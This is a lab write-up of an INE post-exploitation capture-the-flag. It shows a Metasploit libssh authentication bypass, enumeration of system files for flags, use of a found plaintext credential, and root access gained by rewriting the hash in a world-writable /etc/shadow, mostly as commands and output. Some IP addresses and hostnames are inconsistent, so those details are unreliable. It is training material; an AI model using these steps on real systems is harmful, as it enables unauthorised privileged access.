

# Host & Network Penetration Testing: Post-Exploitation CTF 1

## Lab Environment

In this lab environment, you will be provided with GUI access to a Kali Linux machine. Two machines are accessible at **http://target1.ine.local** and **http://target2.ine.local**.

**Objective:** Execute Post-Exploitation techniques on the target to uncover hidden flags and fully exploit the compromised environment.

### Flags to Capture:

- **Flag 1:** The file that stores user account details is worth a closer look. (target1.ine.local)
- **Flag 2:** User groups might reveal more than you expect.
- **Flag 3:** Scheduled tasks often have telling names. Investigate the cron jobs to uncover the secret.
- **Flag 4:** DNS configurations might point you in the right direction. Also, explore the home directories for stored credentials.
- **Flag 5:** Use the discovered credentials to gain higher privileges and explore the root's home directory on target2.ine.local.

## HOST DISCOVERY

➤ Step-1: Lets try to find weather the host is up or not .

```
(root@INE)~[~]
# ping -c 4 target1.ine.local
PING target1.ine.local (192.124.59.3) 56(84) bytes of data.
64 bytes from target1.ine.local (192.124.59.3): icmp_seq=1 ttl=64 time=0.085 ms
64 bytes from target1.ine.local (192.124.59.3): icmp_seq=2 ttl=64 time=0.071 ms
64 bytes from target1.ine.local (192.124.59.3): icmp_seq=3 ttl=64 time=0.091 ms
64 bytes from target1.ine.local (192.124.59.3): icmp_seq=4 ttl=64 time=0.070 ms

— target1.ine.local ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3109ms
rtt min/avg/max/mdev = 0.070/0.079/0.091/0.009 ms

(root@INE)~[~]
# ping -c 4 target2.ine.local
PING target2.ine.local (192.124.59.4) 56(84) bytes of data.
64 bytes from target2.ine.local (192.124.59.4): icmp_seq=1 ttl=64 time=0.114 ms
64 bytes from target2.ine.local (192.124.59.4): icmp_seq=2 ttl=64 time=0.146 ms
64 bytes from target2.ine.local (192.124.59.4): icmp_seq=3 ttl=64 time=0.064 ms
64 bytes from target2.ine.local (192.124.59.4): icmp_seq=4 ttl=64 time=0.097 ms

— target2.ine.local ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3054ms
rtt min/avg/max/mdev = 0.064/0.105/0.146/0.029 ms
```

We scan the 2 targets : target1.ine.local and target2.ine.local , so both the hosts are up and able to access .

# SCANNING AND ENUMERATION

- Step-1: Lets scan the target1.ine.local to find the open ports and the services running .

```
(root@INE)-[~]
# nmap -Pn -sS -sV -p- -T5 target1.ine.local
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-10 00:46 IST
Nmap scan report for target1.ine.local (192.57.125.4)
Host is up (0.000031s latency).
Not shown: 65534 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      libssh 0.8.3 (protocol 2.0)
MAC Address: 02:42:C0:39:7D:04 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.70 seconds
```

# EXPLOITATION

- Step-1: Lets find the libssh module and exploit it using the Metasploit module.

```
msf6 auxiliary(scanner/ssh/libssh_auth_bypass) > set spawn_pty true
spawn_pty => true
msf6 auxiliary(scanner/ssh/libssh_auth_bypass) > run

[*] 192.57.125.4:22 - Attempting authentication bypass
[*] Attempting "Shell" Action, see "show actions" for more details
[*] Command shell session 2 opened (192.57.125.2:39597 → 192.57.125.4:22) at 2026-05-10 00:49:45 +0530
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/libssh_auth_bypass) > sessions

Active sessions
=====

```

| Id | Name  | Type                                                        | Information                                         | Connection |
|----|-------|-------------------------------------------------------------|-----------------------------------------------------|------------|
| 2  | shell | libssh Authentication Bypass Scanner (SSH-2.0-libssh_0.8.3) | 192.57.125.2:39597 → 192.57.125.4:22 (192.57.125.4) |            |

- Step-2: open the shell and go take a look at /etc/passwd , Because they in hint they say take a look at where users are stored .

Users are stored in the /etc/passwd

```
msf6 auxiliary(scanner/ssh/libssh_auth_bypass) > sessions 2
[*] Starting interaction with 2 ...

Shell Banner:
_[]?2004hsh-5.2$

sh-5.2$ ls
ls
bin  dev  home  lib64  opt  root  sbin  sys  usr
boot  etc  lib  mnt  proc  run  srv  tmp  var
sh-5.2$ cat /etc/passwd
cat /etc/passwd
root:x:0:0::/root:/usr/bin/bash
alpm:x:980:980:Arch Linux Package Management:/:/usr/bin/nologin
bin:x:1:1::/usr/bin/nologin
daemon:x:2:2::/usr/bin/nologin
mail:x:8:12::/var/spool/mail:/usr/bin/nologin
ftp:x:14:11::/srv/ftp:/usr/bin/nologin
http:x:33:33::/srv/http:/usr/bin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/usr/bin/nologin
dbus:x:81:81:System Message Bus:/:/usr/bin/nologin
systemd-coredump:x:979:979:systemd Core Dumper:/:/usr/bin/nologin
systemd-network:x:978:978:systemd Network Management:/:/usr/bin/nologin
systemd-oom:x:977:977:systemd Userspace OOM Killer:/:/usr/bin/nologin
systemd-journal-remote:x:976:976:systemd Journal Remote:/:/usr/bin/nologin
systemd-resolve:x:975:975:systemd Resolver:/:/usr/bin/nologin
systemd-timesync:x:974:974:systemd Time Synchronization:/:/usr/bin/nologin
tss:x:973:973:tss user for tpm2:/:/usr/bin/nologin
uuid:x:68:68::/usr/bin/nologin
user:x:1000:1000::/home/user:/usr/bin/bash
FLAG1_c61108e1057248488ce6267fa96d66f4:x:1001:984::/home/FLAG1_c61108e1057248488ce6267fa96d66f4:/usr/bin/bash
sh-5.2$
```

Got the 1<sup>st</sup> flag .

- Step-3: Take a look at the etc/group where the details of the groups will be stored, as they mentioned in the hint of the 2<sup>nd</sup> flag.

```
[user@target1 /]$ cat /etc/group | grep FLAG
cat /etc/group | grep FLAG
# FLAG2_55d291735b2245edb1302ce6f8a77389
[user@target1 /]$
```

Got the 2<sup>nd</sup> flag.

- Step-4: Lets shift our focus toward the cronjobs  
ls -al /etc/cron.\*

```
ls -al /etc/cron.*
-rw-r--r-- 1 root root 74 Apr 8 2024 /etc/cron.deny

/etc/cron.d:
total 20
drwxr-xr-x 1 root root 4096 May 13 06:03 .
drwxr-xr-x 1 root root 4096 May 13 06:03 ..
-rw-r--r-- 1 root root 128 Apr 8 2024 0hourly
-rw-r--r-- 1 root root 66 May 13 06:03 FLAG3_79367a8a8fd4466eb279f724ff681cc8

/etc/cron.daily:
total 12
drwxr-xr-x 2 root root 4096 Apr 8 2024 .
drwxr-xr-x 1 root root 4096 May 13 06:03 ..
```

Got my 3<sup>rd</sup> flag .

- Step-5: Look for the files related to the dns configuration and host name.

```
cat /etc/resolv.conf
# Generated by Docker Engine.
# This file can be edited; Docker Engine will not make further changes once it
# has been modified.

nameserver 127.0.0.11
search members.linode.com
options edns0 trust-ad ndots:0

# Based on host file: '/etc/resolv.conf' (internal resolver)
# ExtServers: [host(127.0.0.53)]
# Overrides: []
# Option ndots from: internal
sh-5.2$ cat /etc/hosts
cat /etc/hosts
127.0.0.1    localhost
::1         localhost ip6-localhost ip6-loopback
fe00::0     ip6-localnet
ff00::0     ip6-mcastprefix
ff02::1     ip6-allnodes
ff02::2     ip6-allrouters
192.57.125.4 target1.ine.local target1
#FLAG4_269174b0eba84119a8d98f502867f20b
192.57.125.2 INE
192.57.125.3 target2.ine.local
192.57.125.4 target1.ine.local
sh-5.2$
```

Got my 4<sup>th</sup> flag .

- Step-6: Login as the ssh user with the credentials that we got in the 1<sup>st</sup> flag .

```
sh-5.2$ ls
ls
bin    dev    home   lib64  opt    root   sbin   sys    usr
boot  etc    lib    mnt    proc   run    srv    tmp    var
sh-5.2$ cd home
cd home
sh-5.2$ ls
ls
temp  user
sh-5.2$ cd user
cd user
lsh-5.2$ s
ls
credentials.txt
sh-5.2$ cat credentials.txt
cat credentials.txt
john:Pass@john123
sh-5.2$
```

Lets login

- Step-7: Finding the files which have the weak permissions that user and root user can access .

```
john@target2:/$
john@target2:/$ ls -la /etc/shadow
-rw-rw-rw- 1 root shadow 959 Nov 14 2024 /etc/shadow
john@target2:/$
```

The interesting file is that **shadow** file have access to any users to read and write .

- Step-8: So lets create a password hash for the root user and edit the shadow file with it .

```
john@target2:/$ openssl passwd -1 -salt abc password
$1$abc$BXBqpb9BZcZhXLgbee.0s/
john@target2:/$
```

Now paste this hash in the shadow file .

- Step-9: Now paste this hash in the shadow file .

```
GNU nano 8.0 /etc/shadow
root:$y$j9T$YyhEYzu6aZ983LaWde691$XqLXNF2cB0nnDJyuy6d.aKb5bHrzsjf0FVGRO2a009:19900:0:99999:7:::
daemon*:19897:0:99999:7:::
bin*:19897:0:99999:7:::
sys*:19897:0:99999:7:::
sync*:19897:0:99999:7:::
games*:19897:0:99999:7:::
man*:19897:0:99999:7:::
lp*:19897:0:99999:7:::
mail*:19897:0:99999:7:::
news*:19897:0:99999:7:::
uucp*:19897:0:99999:7:::
proxy*:19897:0:99999:7:::
john@target2:/$
```

- Step-10: Lets run as root user . By su and provide password .

```
john@target2:/$ su
Password:
root@target2:/# ls
bin boot dev etc home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var
root@target2:/# cd root
root@target2:~# dir
flag.txt
root@target2:~# cat flag.txt
FLAG5_9bc06ab5b1a944339c6c67e09fc8eb36
root@target2:~#
```

Got the final flag .

# CONCLUSION

This lab demonstrated a complete post-exploitation penetration testing workflow against two Linux targets, target1.in.e.local and target2.in.e.local, as part of the **Host & Network Penetration Testing: Post-Exploitation CTF 1**. The assessment followed a structured approach including host discovery, port scanning, service enumeration, exploitation, and privilege escalation using tools such as Nmap and the Metasploit Framework. The engagement began with target1.in.e.local, where a libssh vulnerability was exploited via Metasploit to gain initial shell access. Post-exploitation enumeration of key Linux system files revealed Flag 1 in /etc/passwd, Flag 2 in /etc/group, Flag 3 within a cron job entry, and Flag 4 inside DNS configuration files. For Flag 5, SSH credentials discovered during enumeration were used to log in as a system user. Further investigation revealed the /etc/shadow file had weak permissions allowing read and write access. A custom password hash was crafted and injected into the shadow file, enabling a successful su to root on target2.in.e.local and retrieval of the final flag from the root home directory.

## Flags Captured

- **Flag 1** — Found inside /etc/passwd after gaining shell access via libssh exploit on target1.
- **Flag 2** — Found inside /etc/group during post-exploitation enumeration on target1.
- **Flag 3** — Discovered within a cron job entry under /etc/cron.\* on target1.
- **Flag 4** — Found in DNS configuration files during post-exploitation enumeration on target1.
- **Flag 5** — Retrieved from root's home directory on target2 after injecting a crafted hash into the world-writable /etc/shadow file.

## Key Takeaways

- Exposed libssh services without authentication controls are easily exploited and should always be secured.
- Critical system files like /etc/shadow must have strict permissions — world-readable or writable shadow files allow trivial privilege escalation.
- Cron jobs and DNS configuration files can inadvertently expose sensitive information during post-exploitation.
- A structured post-exploitation methodology — enumerating users, groups, cron jobs, and file permissions — is essential for thorough coverage.
- Credential reuse across services remains a persistent and dangerous risk in real-world environments.